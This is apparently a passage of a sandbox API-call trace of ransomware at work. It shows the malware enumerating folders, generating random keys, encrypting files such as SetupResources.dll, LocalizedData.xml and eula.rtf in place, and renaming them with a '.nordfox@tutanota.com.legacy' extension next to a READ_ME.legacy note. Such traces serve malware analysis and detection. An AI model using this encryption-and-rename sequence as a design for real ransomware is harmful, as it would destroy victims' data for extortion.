GetLastError () returned 0x0 [0098.288] SetLastError (dwErrCode=0x0) [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0098.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0098.288] GetLastError () returned 0x0 [0098.288] SetLastError (dwErrCode=0x0) [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0098.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0098.288] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0098.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0098.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0098.288] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0098.288] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0098.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0098.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0098.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0098.289] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0098.289] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14168) returned 1 [0098.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x58ff70 [0098.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3758) returned 0x5936d0 [0098.289] ReadFile (in: hFile=0x488, lpBuffer=0x58ff70, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ff70*, lpNumberOfBytesRead=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0098.300] SetFilePointer (in: hFile=0x488, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.300] WriteFile (in: hFile=0x488, lpBuffer=0x5936d0*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5936d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3758, lpOverlapped=0x0) returned 1 [0098.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ff70 | out: hHeap=0x520000) returned 1 [0098.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5936d0 | out: hHeap=0x520000) returned 1 [0098.300] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3758 [0098.300] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.301] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.301] WriteFile (in: hFile=0x488, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.301] WriteFile (in: hFile=0x488, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.301] CloseHandle (hObject=0x488) returned 1 [0098.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0098.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0098.308] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0098.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0098.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0098.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0098.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0098.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0098.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0098.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0098.310] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0098.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0098.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0098.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0098.311] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0098.311] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=60816) returned 1 [0098.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed90) returned 0x58ff70 [0098.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xed90) returned 0x59ed08 [0098.311] ReadFile (in: hFile=0x488, lpBuffer=0x58ff70, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ff70*, lpNumberOfBytesRead=0x2e1f9bc*=0xed90, lpOverlapped=0x0) returned 1 [0098.428] SetFilePointer (in: hFile=0x488, lDistanceToMove=-60816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.428] WriteFile (in: hFile=0x488, lpBuffer=0x59ed08*, nNumberOfBytesToWrite=0xed90, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59ed08*, lpNumberOfBytesWritten=0x2e1f9bc*=0xed90, lpOverlapped=0x0) returned 1 [0098.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ff70 | out: hHeap=0x520000) returned 1 [0098.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59ed08 | out: hHeap=0x520000) returned 1 [0098.432] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xed90 [0098.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.433] WriteFile (in: hFile=0x488, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.433] WriteFile (in: hFile=0x488, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.433] CloseHandle (hObject=0x488) returned 1 [0098.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0098.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0098.444] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0098.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0098.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0098.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0098.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0098.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0098.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0098.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0098.446] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x80) returned 1 [0098.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0098.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0098.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0098.447] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0098.447] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6309) returned 1 [0098.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18a5) returned 0x58ff70 [0098.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18a5) returned 0x591820 [0098.447] ReadFile (in: hFile=0x488, lpBuffer=0x58ff70, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ff70*, lpNumberOfBytesRead=0x2e1f9bc*=0x18a5, lpOverlapped=0x0) returned 1 [0098.590] SetFilePointer (in: hFile=0x488, lDistanceToMove=-6309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.591] WriteFile (in: hFile=0x488, lpBuffer=0x591820*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x591820*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18a5, lpOverlapped=0x0) returned 1 [0098.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ff70 | out: hHeap=0x520000) returned 1 [0098.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x591820 | out: hHeap=0x520000) returned 1 [0098.591] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18a5 [0098.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.591] WriteFile (in: hFile=0x488, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.592] WriteFile (in: hFile=0x488, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.592] CloseHandle (hObject=0x488) returned 1 [0098.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0098.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0098.596] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1028\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0098.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0098.598] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x553160 [0098.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0098.599] GetLastError () returned 0x0 [0098.599] SetLastError (dwErrCode=0x0) [0098.599] GetLastError () returned 0x0 [0098.599] SetLastError (dwErrCode=0x0) [0098.599] GetLastError () returned 0x0 [0098.599] SetLastError (dwErrCode=0x0) [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0098.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5531a0 [0098.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5531a0 | out: hHeap=0x520000) returned 1 [0098.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0098.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0098.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0098.599] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0098.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0098.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0098.600] GetLastError () returned 0x0 [0098.600] SetLastError (dwErrCode=0x0) [0098.600] GetLastError () returned 0x0 [0098.600] SetLastError (dwErrCode=0x0) [0098.600] GetLastError () returned 0x0 [0098.601] SetLastError (dwErrCode=0x0) [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5531a0 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5531a0 | out: hHeap=0x520000) returned 1 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0098.601] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0098.601] GetLastError () returned 0x0 [0098.601] SetLastError (dwErrCode=0x0) [0098.601] GetLastError () returned 0x0 [0098.601] SetLastError (dwErrCode=0x0) [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0098.601] GetLastError () returned 0x0 [0098.601] SetLastError (dwErrCode=0x0) [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0098.601] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0098.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0098.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0098.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0098.602] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c58bd8, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c58bd8, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0098.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0098.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.602] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0098.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0098.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0098.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0098.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0098.603] FindNextFileW (in: hFindFile=0x553160, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0098.603] 